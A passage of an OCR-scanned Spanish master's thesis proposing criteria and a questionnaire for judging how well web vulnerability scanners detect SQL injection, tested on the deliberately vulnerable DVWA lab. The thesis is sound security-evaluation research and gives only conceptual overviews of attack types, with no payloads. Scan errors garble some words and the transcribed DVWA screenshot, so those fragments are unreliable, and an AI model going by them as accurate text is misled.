Estas herramientas de analisis dinamico suelen contar con tres modulos principales (Roman

Mufioz, 2016) y realizar el andlisis en dos etapas: Pasiva o (en inglés Crawling) y Activa.

Para Roman Mufioz, los moédulos principales son:

1. Un rastreador, que se encarga de iniciar el rastreo de la aplicacion partiendo de las

URLSs, recupera los archivos y las paginas accesibles e identifica todas las entradas

gue pueden intervenir en los formularios, al mismo tiempo que los parametros que se

envian al servidor de aplicacion.
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2. Un modulo de ataque, que se encarga de generar valores para explotar algun tipo de

vulnerabilidad, estos valores son generados para cada entrada que ha encontrado el
rastreador y para cada tipo de vulnerabilidad.

3. Un modulo de analisis, que se encarga de analizar las respuestas retornadas por el

servidor o la aplicacion de los diferentes ataques en busca de algun patréon que pudiera

dar como exitoso un ataque.

Tal como mencionamos existen dos etapas de analisis, primero tenemos a la etapa pasiva
que tiene como objetivo navegar a través de la aplicacién web, con el objetivo de identificar

todos los elementos del sitio web y sus vectores de entrada (Vega, 2016).
En esta etapa se ejecutan dos tareas:

e El Rastreo o Crawling, que se refiere a que la herramienta busca todos los posibles
enlaces y directorios que componen la aplicacion web, obteniendo su codigo HTML.

¢ |dentificador de parametros de entrada, que consiste que el escaner realiza ingenieria
inversa sobre el codigo HTML para identificar campos de entrada de datos en

formularios.

La etapa activa del analisis por otra parte empieza cuando el escaner ha identificado la
estructura y todos los campos de entrada de la aplicacion web, es en ese momento que la
herramienta inicia los ataques, que consisten en inyectar valores en cada parametro, para que

posteriormente se analicen las respuestas recibidas por parte de la aplicaciéon (Vega, 2016).

Afos atras, eran pocas las herramientas que existian para realizar un escaneo de
vulnerabilidades a un sitio web, se tenia que tener cierto nivel de experiencia para realizar una
auditoria de vulnerabilidad manualmente, esto acarreaba que no solo un experto tenia que
hacerlo, sino que ademas si el sitio a auditar era extenso por consiguiente el tiempo a invertir

aumentaba.
2.5 Aplicaciones Vulnerables

Para probar las herramientas de escaneo existen multitud de aplicaciones web vulnerables a
propésito, estas se utilizan principalmente para el aprendizaje y entrenamiento de
desarrolladores y usuarios que deseen aprender o mejorar sus habilidades sobre como actuan
cada una de las vulnerabilidades que contiene las aplicaciones (Roman Mufoz & Sabido
Cortes, 2014).
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El autor expone que existen tres fuentes de aplicaciones vulnerables (Roman Munoz & Sabido
Cortes, 2016):

1. Aplicaciones desarrolladas con algun propésito, aquellas que tienen alguna
vulnerabilidad conocida.

2. Aplicaciones desarrolladas por los fabricantes de herramientas de deteccion de
vulnerabilidades web.

3. Aplicaciones desarrolladas para comprobar las caracteristicas de estas herramientas

0 para impartir formacion.
2.5.1. DVWA

Entre las mas conocidas podemos destacar: WebGoat aplicacion web J2EE, Muitillidae |l
aplicacion PHP, ambas mantenidas por OWASP o Damn Vulnerable Web Application (DVWA)

una aplicacién web desarrollada en PHP (Sancho & Castaiio) (Roman Mufioz, 2016).

La DVWA es la herramienta que vamos a usar en este trabajo. Su objetivo es de practicar en
ambientes controlados el fallo de las vulnerabilidades web mas comunes, con diferentes
niveles de dificultad, con una interfaz sencilla y facil de usar. Los ataques se pueden observar
en la pagina inicial de DVWA, cuando se instala la aplicacién en nuestro equipo y ejecutamos
el proyecto en localhost, que es el nombre que se le da a una computadora que ejecuta un

programa y trabaja como un servidor virtual.

© & https://localhost ol §

Dn)

Welcome to Damn Vulnerable Web Application!

oo Damn Velnerable Ve Appication (DVWAA) is a PHP/MYSQL web applaton hatisdamn winorale s man
goal is to urity professional ok allocalrommaleln st

Setup / Reset DB e e oA 2t
leam about web appiication security in a controlled class room environment

Brute Force The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of
difficultly, with a simple straightforward interface.

Command Injection v HOEE

— | General Instructi

File Inclusion ‘ eneral Instructions

File Upload Itis up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There

Insecure CAPTCHA is not a fixed object to complete a module; however users should feel that they have successfuly exploited the
system as best as they possible could by using that particular vulnerabilty.

S Injection
Please note, there are both and th this software. This is

SQL Injection (Blind) intentional. You are encouraged to try and d iscover as many issues as possi itle.

WeakiSession IDs es 8 Web Appication Fiewal WAF), PHPIDS, which can be enamea atanystagoto urther

XSS (DOM) ulty. This will o ate how adding another lay

i et et Tl s A Lt

XSS (Reflected)

XSS (Stored) | There s hlpbutonaf te botto of eachpaga, wtich alows you o viow hiis & i for \m uinerabilty.

C8P Bypass. | e ks for futher backghound reacing, i relatos (o th

JavaScript
WARNING!

DVWA Security Damn Vulnerable Web Application is damn vulnerable! Do not upload it to your hosting provider's public

AR htmi folder or any Internet facing servers, as they will be compromised. It is recommend using a virual

T or ), which is Set to NAT networking mode. Inside a guest machine, you
About can downloading and install for the web server and database.
Logout Disclaimer

Figura 1. Interfaz de la DVWA. (Elaboracion propia)

DVWA permite el analisis del codigo vulnerable de los siguientes ataques que se explican

acontinuaciéon brevemente:
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e Brute Force: Consiste en intentar averiguar por fuerza bruta la clave probando todas
las combinaciones posibles, hasta encontrar la correcta.

¢ Command Execution: Permite ejecutar comandos de consola desde la pagina web,
para ver si se es posible: modificar y/o eliminar archivos y directorios del servidor
donde se encuentra alojada la pagina que esta analizando.

e CSREF (Cross-Site Request Forgery): Es un ataque que se tiene lugar cuando la pagina
web permite al usuario realizar acciones consideradas como altamente sensibles, solo
comprueba que la peticion proviene de un navegador autorizado, pero no que el
usuario que esta realizando dichas acciones lo realice de forma correcta.

¢ Insecure CAPTCHA: Se basa en una prueba de Turing totalmente automatica y publica
para diferenciar a las computadoras de las personas y se utiliza para proteger a las
paginas web de ataques por fuerza bruta, y en general evitar que los robots puedan
hacer uso de los servicios de las paginas web como pueden ser encuestas o foros de
discusion.

e File Inclusion (Local File Inclusion and Remote File Inclusion): Se da cuando se

ejecutan en el servidor web ficheros locales o externos al propio servidor.
e SQL Injection: Es una forma de infiltrar codigo malicioso a una aplicacion web cuando

esta realiza operaciones no permitidas sobre la base de datos.

e SQL Injection (Blind): Para evitar el ataque SQL Injection a menudo se configura la
aplicacion web para que deje de mostrar los mensajes de error, surgiendo un nuevo
tipo de ataque, la inyeccion de SQL a ciegas.

e Upload: Es un ataque en el que un usuario puede subir un cédigo malicioso por medio
de un formulario web que permite seleccionar y subir archivos al servidor desde la
computadora local.

e XSS Reflected: Es un tipo de inyeccion de codigo, que no se ejecuta en la aplicacion
web, pero si ho que se origina cuando el usuario carga una URL en particular en su
navegador.

e XSS Stored: Es mas peligroso que el XSS Reflected, ya que permite ejecutar codigo

inyectado en los navegadores de todos los usuarios que visitan la aplicacion web.

En la figura 1, se observan las distintas técnicas que contiene la aplicacion web para hacer
los test de penetracion y vulnerarla en su totalidad, pero solo nos centraremos en el las

técnicas de para realizar Inyeccién SQL.
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2.6 Issues que tienen las herramientas de escaneo y como

afectan a los resultados de las pruebas

Un tipo particular de sistema de informacién son las aplicaciones web, que se ejecutan en
servidores web y son accedidos por usuarios mediante navegadores a través de internet o
intranet, para ejecutar practicamente todas las funcionalidades posibles de ser realizadas en
linea. Pero por otro parte trae consigo nuevas y significativas amenazas de seguridad, ya que
cada aplicaciéon es diferente y puede contener vulnerabilidades que pueden llegar a ser

Unicas.

A pesar de los numerosos esfuerzos para lograr la seguridad a través de la revision del codigo
y las practicas de la ingenieria de software que es la disciplina que involucra todos los

aspectos de desarrollo y mantenimiento de un producto de software.

Un reporte a nivel global realizado por la firma DataSec entre el afio 2015 y 2016 registra que
el 55% de 27000 aplicaciones web analizadas tienen al menos una vulnerabilidad con nivel
critico lo que podria indicar que los datos pueden llegar a ser totalmente comprometidos, lo

que daria lugar a mala reputacion y hasta la bancarrota de una organizacion (Mayorga, 2018).

Existen numerosos escaneres web que permiten identificar vulnerabilidades a diferentes
niveles, pero existen casos en los que no han sido 100% precisos a la hora de detectar la
causa de que el sitio sea vulnerable (Gallego Gonzalez, 2018), a esté proceso que hacemos

se lo conoce como hacking ético.

Se conoce como hacking ético a las pruebas de penetracion que una organizacion autoriza
para simular las actividades de hackers que intentan acceder a sus activos de informacion
(Medina Rojas, 2015), cabe aclarar que el hacking informatico es diferente que el ético porque

siguen los mismos procedimientos y procesos que los hackers que no son éticos (Dias, 2014).

La creacién de escaneres de seguridad para aplicaciones web no solo ha permitido reducir
recursos, tiempo, mano de obra y otros costos asociados a pruebas de penetracion, también
elimina la dependencia del conocimiento humano del tester (Kah Seng, Ithnin, & Mohd Said,
2018). Pero por otra parte, las herramientas de ultima generacion presentan una baja
efectividad en términos de cobertura de deteccién de vulnerabilidad (relacion entre el numero

de vulnerabilidades detectadas y el numero total de vulnerabilidades existentes) y la tasa de
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falsos positivos (relacion entre el numero total de vulnerabilidades reportadas y el numero de

vulnerabilidades reportadas que no lo son) (Antunes & Vieira, 2016).

La calidad de los test de seguridad se mide esencialmente por estos dos elementos: los falsos

positivos y los falsos negativo.

Se conoce como falso positivo a la deteccion de falsas vulnerabilidades y falso negativo
cuando se da la omision de vulnerabilidades existentes, vulnerabilidades las cuales no pueden

ser explotadas (Mayorga, 2018).

Areitio indica las principales razones de los falsos positivos y situaciones que pueden

provocarlas:

1. Cobertura de los componentes comprobados
(a) Problemas de los crawling automaticos: enlaces practicamente infinitos y del lado
del cliente (JS/Ajax).
(b) Disponibilidad: componentes de terceras partes que no se pueden comprobar y
cbdigo no disponible.

(c) Tamafo: muchas URLs/parametros/codigo a cubrir o tiempo insuficiente.

2. Cobertura de los test
a) Imposible comprobar (procedimiento logico en vez de automatizado y fuerza bruta)
b) Vulnerabilidad nueva descubierta (aun no actualizada).
c) Vulnerabilidad vista como insignificante.
d) Vulnerabilidad nunca vista antes.

e) El test puede deteriorar la disponibilidad o la fiabilidad.

3. Calidad/capacidad de los test
(a) Test definido de forma deficiente: ataque no creado correctamente, resultados
esperados no definidos adecuadamente.
(b) Ejecucion deficiente del test, carece de capacidad/competencia.
(c) Tecnologia nueva o cambiada / existen medidas de seguridad.
El test requiere modificaciones, se necesitan técnicas de evasion, se requiere un

analisis diferente de resultados.

El autor adicionalmente expone las principales razones de los falsos negativos y estos es por

calidad y por capacidad de los test, expone que existen cuatro casos:
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(a) Test definido de forma deficiente: resultado esperado no definido correctamente,
diferenciadores de validacién definidos de forma defectuosa.
(b) Ejecucion del test deficiente y carece de capacidad.
(c) Tecnologia cambiada / existen medidas de seguridad: el resultado parece vulnerable,
sefuelos del tipo honeypots, soluciones de seguridad parcheadas, test incapaz de
correlacionar a otros componentes (revision del codigo).

(d) Vulnerabilidad tecnolégica no amenaza. El test correlaciona al contexto del sistema.

En la practica, cuando un auditor decide optar por una herramienta de escaneo de
vulnerabilidades, éste antes debid realizar un plan de ataque para que su auditoria pueda
detectar el mayor numero de anomalias en el sistema, pero la planificacion de los ataques no

lo es todo.

Autores afirman que siguiendo metodologias sistematicas a lo largo de todas las etapas del
proceso de una prueba de penetracion (Creasey & Glover, 2017), estableciendo criterios de
calidad que deben ser aplicados en los escenarios de ataque (Dalalana Bertoglio & Zorzo,
2017), escogiendo la correcta herramienta de acuerdo al ataque que se va a realizar

(Rennhard, 2019), es como podremos concluir que los resultados son efectivos.

Ahora bien, tenemos en si metodologias y lineamientos para la planificacion de los ataques,
pero aun asi la efectividad de los resultados sigue siendo dado por la tasa de falsos positivos
encontrados y la tasa de cobertura del ataque. Lo que se obtiene dado de un analisis manual

de los findings encontrados por las herramientas de escaneo.
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3. Objetivos concretos y metodologia de trabajo

Las herramientas para test de penetracion buscan vulnerabilidades, evitando la repetitiva y
tediosa tarea de realizar todas las pruebas manualmente para cada tipo de vulnerabilidad a
un software. Los escaneres de vulnerabilidades como ya mencionamos permiten conducir
estas pruebas de forma sencilla para el tester ya que tiene predefinidas los sets de pruebas,
y el test solo necesita configurar el escaner y comenzar a testear, pero a pesar de que la
herramienta me permite encontrar un mayor niumero de vulnerabilidades mucho mas rapido y

facilmente, existen limitaciones que inciden mucho en los resultados.

El proyecto OWASP tiene un top 10 de vulnerabilidades en aplicaciones web, pero en este

trabajo de fin de master nos centramos en un tipo de vulnerabilidad que es la SQL Injection.

SQL injection ha sido rankeada por varios afos por el proyecto OWASP como una de las
vulnerabilidades top. Los ataques SQL se dirigen a sistemas controlados por bases de datos
que buscan inyectar fragmentos de codigo SQL en parametros de entrada vulnerables que no

estan debidamente controlados.

Estos codigos se vuelven peligrosos para cualquier sistema ya que si se llegaran a tener éxito
el atacante puede realizar acciones en la base de datos no permitidas. Estas acciones pueden
conducir a que se exponga data sensible, insertar o alterar informacién de la base de datos
sin autorizacion, borrado parcial o total de la data, o inclusive apropiarse completamente de

la base de datos.
3.1. Objetivo general

Establecer criterios de efectividad orientados a evaluar los resultados observables y medibles
resultantes de herramientas de escaneo de vulnerabilidades después de la ejecucion de

ataques de tipo SQL Injection a una aplicacién web vulnerable.
3.2. Objetivos especificos

En cuanto a los objetivos especificos, se pueden sefialar los siguientes:
e Elaborar criterios de efectividad en términos que permitan adicionalmente evaluar la
eficacia y la eficiencia de las vulnerabilidades.

¢ Identificar cuales vulnerabilidades cumplen el maximo nimero de criterios.

30

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos
e Comparar y cuantificar el resultado de aplicar los criterios de efectividad después de
la ejecucion de cada test de penetracion.
o Verificar el efecto de ejecutar el mismo proceso en dos herramientas de escaneo de

vulnerabilidades distintas.
3.3. Metodologia del trabajo

Debido a la naturaleza de este trabajo de fin de master la metodologia de trabajo consistié en
tres fases, las dos primeras relacionadas con investigacion y la ultima en reunir todos los
elementos y disefiar como hacer la verificacion de la metodologia.

La Figura 2, muestra los temas investigados en la fase uno y dos, y las tareas realizadas en

la fase tres.
Fase 1:
*Pruebas de Caja Negra.
eHerramientas para analisis dinamico o escaneres de
vulnerabilidad.
eExperimentos realizados con los escaneres.
Fase 2:
*Conceptos asociados a la efectividad.
eTécnicas o metodologias de evaluacion de resultados.
eCriterios que usan los autores para evaluar resultados.
Fase 3:

eCrear y reunir los elementos que intervienen en la pruebas.
*Organizacion de los elementos.
eElaboracion de la planificacion de la prueba de la metodologia.

Figura 2. Fases de la metodologia de trabajo. (Elaboracion propia)

Como se muestra en el grafico anterior, la primera fase consistié en buscar toda la informacién
relacionada a pruebas de penetracion, desde que es una prueba, en que consiste llevarlas a
cabo, cuales son las herramientas que me permiten realizarlas y como los auditores analizan

los resultados.

Esta primera parte se enfocé mucho en investigar el estado del arte de los experimentos
llevados a cabo con los escaneres de vulnerabilidad, cuales fueron los hallazgos y conocer

las herramientas que ya se han utilizado.
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Esto fue de mucha ayuda ya que permitio tener una lista inicial de herramientas con el fin de

evaluar cuales de esas se podrian ser utilizadas en nuestro propio experimento.

La segunda fase al igual que la primera fue de investigacion, pero ademas se incluyo mucho
trabajo de disefio, ya que la primera fase arrojo que si bien existen técnicas o metodologias
que aseguran mejorar la efectividad de las pruebas, los resultados arrojados son muy
cerrados.

Es por eso que se busco técnicas que se utilizan para evaluar resultados de manera general

0 algun modelo que se utilice en otro contexto.

Una vez recopilada informacion acerca de pruebas y metodologias de evaluacion orientados
a evaluar resultados, se pas6 a la ultima fase de nuestra metodologia de trabajo, en donde el
esfuerzo se lo centro en construir y organizar los elementos para ser usados para elaborar la
planificacion de las pruebas, con el fin de poder verificar la validez de la metodologia

propuesta.
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4. Metodologia para comprobar la efectividad de los

resultados

En este capitulo se mencionara en detalle todos los pasos que se realizaron para el desarrollo
de la metodologia propuesta, desde como inicio hasta los pasos para poder ponerla en

practica.
4.1 Identificacién de requisitos

4.1.1. Informacién recopilada de experimentos realizados sobre

escaneres de vulnerabilidades

A pesar de que la auditoria manual de codigo estatico sigue siendo usada por los auditores
de software debido a su eficacia al momento de detectar anomalias en el cédigo fuente, es
muy habitual que los auditores decidan usar una revision mixta utilizando una herramienta de
deteccion de vulnerabilidades, ya que el reporte que proporciona una herramienta automatica
de analisis es un buen complemento para un auditor, mas aun cuando se evalua grandes

sistemas o se tiene un tiempo de auditoria limitado.

En la revision realizada, pudimos obtener informacion valiosa recopilada de los experimentos,
como los escaneres son utilizados, la infraestructura que se construye para las pruebas, el
tipo de pruebas que se implementan, como los autores lograron obtener un mayor nimero de

verdaderos positivos, entre otros.

Muchos de ellos concuerdan que los escaneres de vulnerabilidades son herramientas de
deteccion poderosa, pero si se desea obtener o mejorar los resultados de las pruebas se debe
agregar un factor extra.

Este factor extra puede estar dado por cambios en infraestructura, como lo es agregar un
proxy a la configuracién normal del sistema o cambiar su configuracion para poder capturar y

analizar de mejor manera las solicitudes y respuestas del servidor.

Utilizar técnicas especializadas de acuerdo al tipo de prueba de penetracién que se quiera
implementar o enfoques distintos de acuerdo al tipo de vulnerabilidad que se quiera detectar.
Algunos experimentos de acuerdo al tipo de vulnerabilidad sus autores disefiaron las pruebas

de manera general para detectar el maximo numero de anomalias posibles mientras que otros

33

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos
se enfocaron en un tipo de vulnerabilidad y se centraron en optimizar su poder de deteccién

utilizando patrones de reconocimiento o mutacion de sentencias en el modulo de ataque.

Se conoce que existen organizaciones que proporcionan una clasificacion de las amenazas
en aplicaciones web y mecanismos para mitigar su impacto. Estas clasificaciones aunque se
revisan peridodicamente, no estan en constante actualizacion pero dan una idea para orientar

al auditor para que este pueda realizar su trabajo de acuerdo a las herramientas que posea.

Adicionalmente el analisis aplicado a los resultados puede llegar a ser distinto, ya que es muy
dificil poder obtener exactamente los mismos resultados, ain cuando se busque replicar
exactamente el de algun tipo de experimento existen muchas variables a considerar si se
desea obtener exactamente los mismos, factores como: hardware, software o conocimiento

pueden hacer que los resultados de la prueba no sean los esperados.

Se dice que uno de los factores es por hardware porque, por ejemplo, si se desea realizar una
autoria a un sistema generalmente las pruebas que se crean se basan en la informacién
recopilada de expertos de la empresa, para poder a partir de eso ejecutar pruebas que simulen
la realidad. Esta realidad esta dada por varios elementos que pueden variar en el tiempo no
solo por software sino también por el hardware o infraestructura implementada, en donde los
tiempos de respuesta no solo estan ligados por las caracteristicas técnicas del equipo sino
también a los distintos escenarios que no solo afectan a la disponibilidad del sistema, sino

también a la calidad de las pruebas.

Cuando hablamos de software no solo estamos refiriéndonos al software a evaluar sino a la
herramienta que nos permitira evaluar el software, ese también es un factor importante ya que
es el que me permitira extraer toda la informacion de como esta el sistema que estoy
evaluando a nivel técnico y de seguridad. Es decir, si no tengo variables redundantes o
peligrosas, funciones y/o procedimientos en codigo que sirvan de puente a un hacker mal

intencionado acceder a informacion privada.

También, el conocimiento es un factor importante que puede ser inclusive diferenciador, ya
que esta claro que un auditor experto que conoce ya el manejo de algunas herramientas no
solo podra realizar un mayor numero de pruebas, sino que ademas puede realizar un analisis
mas elaborado por su nivel de expertiz a comparacion de un auditor que recién esta

comenzando o que tenga poco conocimiento en todos los pasos del proceso de pruebas.
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4.1.2. Metodologias o técnicas aplicadas en los analisis de

vulnerabilidades

Cuando se trata de medir la capacidad de las herramientas de analisis de vulnerabilidades,
como hemos indicado depende de mucho de que resultados queremos obtener, esto es uno
de los factores principales por la que un auditor decide utilizar un enfoque o técnica, ademas

de la herramienta con que se va a realizar las pruebas.

En un estudio realizado para medir las capacidades de deteccion de las herramientas de
analisis de vulnerabilidades en aplicaciones web (Roman Mufoz & Sabido Cortes, 2014), baso
sus pruebas en estandares y guias conocidas para el analisis amenazas. Se evidencio que
habia diferencias en el nimero de pruebas que pueden ser realizadas en cada herramienta
donde las herramientas analizadas fueron Acunetix, Zaproxy, Appscan y Webinspect. El
estudio concluyo que ninguna de las cuatro herramientas analizadas incorporaba las
capacidades de deteccidn necesarias para detectar todas las vulnerabilidades esperadas,

pero si cubrian parte de la lista de vulnerabilidades que se proponian detectar.

El tiempo de entrenamiento que se le da a la herramienta para analizar la aplicacién es otro
punto de estudio para algunos autores, como el de (Suto, 2010) que uso mas escaneres de
vulnerabilidades y se enfocd en testear la efectividad de siete aplicaciones. Este estudio
report6 que a pesar de que se tratd de mejorar aprendiendo y aplicando todas las
configuraciones de las variables requeridas para el entrenamiento. Los escaneres que fallaron
en obtener mas vulnerabilidades no solo tendieron a reportar un mayor numero de falsos
positivos, sino que de igual manera gastaron mas tiempo en tratar de eliminar esos falsos
positivos. Finalmente, el autor agrega que a la hora de escoger una herramienta no importa
el presupuesto que se tenga y este pasa a segundo plano, lo que hace en si a un buen
producto si es que lo decides entrenar o no es el esfuerzo que inviertes para alcanzar buenos

resultados.

Entonces, como podemos ver a partir de lo que sabemos podemos mejorar la capacidad de

deteccidn y los otros factores que intervienen en las pruebas de penetracion.

Conocemos ya que existen autores cuyos trabajos se encargan en contrastar la efectividad
de varias herramientas, utilizando el mismo enfoque en todos los casos y reportando los
hallazgos de hacerlo. Asi mismo hay autores adaptan o crean nuevas técnicas de ataque o

de reconocimiento.
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Tenemos de ejemplo a (Mohammad Ghaffarian & Reza Shahriari , 2017) cuyo estudio habla
del potencial beneficio de usar inteligencia artificial para el reconocimiento de patrones de
anomalias, o como (Rennhard, 2019) que utiliza una configuracion basado en proxys
especiales que buscan mejorar la cobertura de las pruebas y los resultados de los escaneos
automaticos, o simplemente optar en adaptarse a las limitantes que tiene las herramientas
pero cambiando la configuraciones de la deteccion como (Antunes & Vieira, 2016) con el fin
que los falsos positivos sean menores o como lo hizo (Deepa, 2017) que ademas de usar
training también utilizo cadenas de secuencias sql mutuadas para obtener una mejor tasa de

deteccion.
La efectividad de los escaneres va ligado cuantitativamente al nimero de findings que se
reportan, estos estan dados por la cobertura de los test, la eficiencia del escaneo, la cobertura

del ataque y la capacidad de detectar la clase de vulnerabilidad.

Por ende, las métricas que se presentan en los reportes muestran la calidad del escaner, a

continuacion, se listan algunas que son comunmente usadas de acuerdo a su criterio.

Tabla 4. Métricas aplicadas en test de penetracion

Criterio Métrica Descripcion

Cobertura del test Numero de URLs El numero de URLs que el

escaner a visitado.

Nivel de Test Descripcion del enfoque del
test.
Cobertura de codigo El grado en que el cédigo de

una aplicacion web puede

ser testeado por un escaner.

Cobertura del test El grado en que una
aplicacion web es
exitosamente testeada por

un escaner.

Numero de data extraida El nimero de data que es

exitosamente extraida.

Cobertura del Ataque Numero del vector El numero de entrada que es

usada en test.
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Numero de puntos de |El namero de puntos de
inyeccion entrada que puede ser
devueltos por el escaner.
Fuente del caso de prueba Descripcion del caso de
prueba.
Numero del vector de ataque | EI numero de caminos
recuperables.
Deteccién de | Numero de falsos positivos El numero de
vulnerabilidades vulnerabilidades falsas

producidas por el escaner.

Numero de falsos negativos

de

no

El ndmero
vulnerabilidades

detectadas por el escaner.

Numero de positivos | El numero de
verdaderos vulnerabilidades  benignas
reportadas por el escaner.
Numero de negativos | El numero de
positivos vulnerabilidades  benignas

que no estan reportadas por

el escaner.

Puntaje de deteccién

La fraccion de
vulnerabilidades detectadas
sobre las vulnerabilidades
obtenidas por un caso de

prueba.

Cobertura

de

vulnerabilidades detectadas.

El ndmero

Eficiencia

Tiempo de Escaneo Tiempo requerido para
completar el tiempo de
escaneo.

Tiempo de Analisis Tiempo requerido para

completar el analisis.

Nivel de Automatizacion

La capacidad para completar
una sesion de escaneo sin

incluir al tester.
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Productividad Tiempo promedio requerido
para generar un caso de

prueba.

Procesamiento por encima Tiempo extra requerido para
completar una sesion de

escaneo.

Nota: Extraido de Seng. (2018) The approaches to quantify web application security scanners quality.

Es asi, como con las métricas presentabas recopilamos algunos elementos o aspectos que
intervienen en la efectividad de las pruebas, estas seran integradas en la metodologia que

crearemos.

4.1.3. Metodologias de evaluacion aplicadas en otros contextos

En la educacion se utilizan evaluadores que sirven para verificar que contenidos cumplen con
los objetivos para los que fueron creados, facilitando la implementacion de mecanismos de

mejora continua en beneficio de las instituciones (Aguilar Juarez, 2014).

Es asi que planteamos utilizar evaluadores para evaluar los resultados obtenidos en las

pruebas de penetracion.

La aplicacion de criterios es una técnica comunmente usada, porque es aplicable en muchos
contextos, por ejemplo, existen criterios que permiten realizar la evaluacion de software
(Graells, 2002), el autor en su trabajo expone criterios que permiten evaluar software
educativo, primero estableciendo las caracteristicas pedagdgicas y funcionales que deben
tener cada criterio de evaluacion y luego a partir de la recopilacién de informacién, elabora

una ficha de evaluacion indicando cuales el rango de puntuacion.

En el proximo capitulo detallaremos los elementos que se incluyen en la metodologia y como

se planea aplicarla.
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4.2 Descripcion de la metodologia

En la practica cuando se planea efectuar una evaluacion, siempre se establece desde un inicio
cual va a ser el objetivo, lo que implica ejecutarla, el instrumento o plan que me va a permitir
realizarla y que se espera con los resultados, por ejemplo, si se quisiera evaluar la usabilidad
de una aplicacién movil, un método comunmente usado es la evaluacion heuristica, la que
permite medir que tan usable es una aplicacion basados en los principios de usabilidad de
Jakob Nielsen o en el campo de la produccién antes de sacar un producto al mercado este

debe pasar por pruebas de calidad para asegurar que se esta entregando un buen producto.

Se establecid la teoria que con los criterios efectividad no solo se va a corroborar la efectividad
de la herramienta, sino que también se podra establecer el nivel de efectividad de cada

vulnerabilidad obtenida.
4.2.1. Términos asociados a la efectividad y formato utilizado

Para poder crear los criterios de efectividad primero se realizé una revision de formatos para
la redaccion de los mismos, cuales son los términos relacionados con la eficacia y la eficiencia
que deben ser incluidos como criterios y como se aplican los criterios.

La efectividad es el equilibrio entre la eficacia y la eficiencia. La eficacia es lograr un resultado
o efecto. En cambio, la eficiencia es la capacidad de lograr el efecto en cuestion con el minimo
de recursos posibles viables. Ambos términos van de la mano para poder alcanzar la
efectividad.

Basandonos en las definiciones mencionadas acerca de como se logra la efectividad es que

se planteo crear criterios ligados a esos términos.

Los atributos que rodean a la eficacia orientados a la comprobacion de los cumplimientos
seleccionados son: cantidad, exactitud, satisfaccion y calidad. De la misma manera, los
atributos que rodean a la eficiencia son: tiempo de respuesta y costo humano.

Con respecto a la revision de formatos de criterios, los criterios que se crearon se basaron en

la estructura que se utiliza en el sector educativo para la evaluacion de contenidos.

En nuestra metodologia, para redactar los criterios se uso el formato de (Custodio, 2001) que
tiene similitudes al de (Graells, 2002) con respecto a la estructura, pero se decidié usar el de
Custodio porque en su trabajo las tablas de criterios se definen mas formalmente y se

establece una puntuacién para cada criterio usando una escala de likert.
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La metodologia que se plantea es la aplicacion de un cuestionario que evalué
cuantitativamente aspectos cualitativos de los resultados y que pueda ser aplicado a cualquier
tipo de prueba, con cualquier tipo de escaner de vulnerabilidad web ya que esta disehado de

manera general con aspectos comunmente vistos al analizar resultados.
4.2.2. Elementos de la metodologia

Para poder evaluar cada criterio se disefid un cuestionario de evaluacion, en el que se detalla
cual es la escala de puntuacion a la que esta sujeto cada criterio, cada enunciado es puntuado
usando una escala de likert, que es una escala psicométrica comunmente utilizada en
cuestionarios y es la escala de uso mas amplio en encuestas para la investigacion ya que
permite evaluar cuantitativamente aspectos cualitativos.
Los elementos que se incluyen en esta metodologia son los que me van a permitir obtener
resultados mas completos orientados a evaluar efectividad. Estos son: los criterios de
efectividad, el cuestionario y la tabla de resultados.
A continuacién, la tabla 5 indica los criterios de efectividad elaborados, cada criterio tiene su
cbdigo, nombre y descripcion.

Tabla 5. Criterios de Efectividad

Criterios de Efectividad

Caodigo Nombre Descripcion

QL Calidad Propiedad o conjunto de propiedades que permiten juzgar si

el resultado obtenido es valioso.

QT Cantidad Magnitud que expresa el numero de vulnerabilidades

obtenidas en las pruebas.

S Satisfaccion Razon, accion o modo con el que se demuestra agrado por

los resultados obtenidos.

RT Tiempo de La cantidad de tiempo que transcurre desde que percibimos
Respuesta algo hasta que damos una respuesta en consecuencia a un

ataque realizado.

HC Costo Humano Cantidad asociada al trabajo de ejecutar la auditoria manual

a las vulnerabilidades encontradas por la herramienta.

Fuente: Custodio F (2001), Tabla "Especificaciones de la definicién operacional de la variable de
estudio”. Recuperado de: Planeamiento Estratégico para Instituciones Educativas de Calidad
Elaboracién Propia
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Cuestionario

Caodigo

Criterio

QL

Calidad

Caodigo

Enunciado

Valoracion

1]2[3 |45

Por favor, indique el nivel de acuerdo o desacuerdo con cada una de las siguientes
afirmaciones, desde “Totalmente en desacuerdo (1)” a “Totalmente de acuerdo (5)".

QL1 El ataque realizado permitié obtener mas falsos positivos
de inyeccion.

QL2 El ataque realizado permitié obtener mas falsos negativo
de inyeccion.

QL3 El ataque realizado aportd nuevas vulnerabilidades.

QL4 El ataque realizado aportd nuevas vulnerabilidades
relevantes.

QT Cantidad

QT1 El nivel de ataque realizado influyo a que mas
vulnerabilidades sean detectadas.

S Satisfaccion

S1 Los nuevos tipos de vulnerabilidades encontradas por la
herramienta debido al nivel de ataque realizado se lo
considera correcto.

S2 Los nuevos tipos de vulnerabilidades encontradas por la
herramienta debido al nivel de ataque realizado se lo
considera aceptable.

TR Tiempo de Respuesta

TRA1 El tiempo total de la prueba se lo considera aceptable.

TR2 El numero de vulnerabilidades detectadas es aceptable
para el tiempo de ejecucion de la prueba.

HC Costo Humano

HC1 El tiempo invertido en la auditoria manual de la

vulnerabilidad detectada se la considera necesaria para el
nivel de ataque realizado.

Elaboracién Propia

Finalmente, la siguiente tabla nos indica como se recopil6 los resultados de la aplicacion de

los criterios de efectividad aplicado por cada uno de los escaneres seleccionados.

Tabla 7. Tabla de Resultados
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Tabla de Resultados
Nivel
de Ataque Nivel de Riesgo Criterios Enunciado Valoracién
QL QL1
QL2
QL3
QL4
QT QT1
S S1
S2
TR TR1
TR2
HC HCA1

Elaboracién Propia

4.2.3. Flujo de aplicacion de la metodologia

Conocer como se va a evaluar los elementos o tecnologias que intervienen fue el siguiente

paso. Pues bien, el flujo que se propone para aplicar la metodologia es el siguiente:

A. Seleccionar el escaner

B. Configurar el escaner

C. Ejecutar la aplicacién web a evaluar

D. Ejecutar las pruebas

